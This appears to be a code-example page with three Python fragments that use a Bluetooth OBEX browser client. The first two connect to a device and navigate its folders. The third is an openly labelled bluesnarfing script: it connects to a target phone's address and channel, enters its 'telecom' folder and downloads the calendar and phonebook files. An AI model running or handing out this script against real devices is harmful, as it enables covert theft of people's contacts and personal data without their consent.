예제 #1
0
    def connect(self):
        if self._cli is None:
            try:
                self._cli = client.BrowserClient(self._addr, self._port)
                r = self._cli.connect()

                if not isinstance(r, responses.ConnectSuccess):
                    self._cli = None

            except OSError:
                self._cli = None
예제 #2
0
if __name__ == "__main__":

    if len(sys.argv) != 3:

        sys.stderr.write("Usage: %s <device address> <directory>\n" %
                         sys.argv[0])
        sys.exit(1)

    device_address = sys.argv[1]
    path = sys.argv[2]

    services = bluetooth.find_service(uuid="1106", address=device_address)
    if services:
        port = services[0]["port"]

    c = client.BrowserClient(device_address, port)

    response = c.connect()
    if not isinstance(response, responses.ConnectSuccess):
        sys.stderr.write("Failed to connect.\n")
        sys.exit(1)

    pieces = path.split("/")

    for piece in pieces:

        response = c.setpath(piece)
        if isinstance(response, responses.FailureResponse):
            sys.stderr.write("Failed to enter directory.\n")
            sys.exit(1)
예제 #3
0
        headers, data = r

        fh = open(filename, "w+")
        fh.write(data)
        fh.close()


if len(sys.argv) < 3:
    print(sys.argv[0] + ": <btaddr> <channel>")
    sys.exit(0)

btaddr = sys.argv[1]
channel = int(sys.argv[2])

print("Bluesnarfing %s on channel %d" % (btaddr, channel))

c = client.BrowserClient(btaddr, channel)

try:
    r = c.connect()
except OSError as e:
    print("Connect failed. " + str(e))

if isinstance(r, responses.ConnectSuccess):
    c.setpath("telecom")

    get_file(c, "cal.vcs")
    get_file(c, "pb.vcf")

    c.disconnect()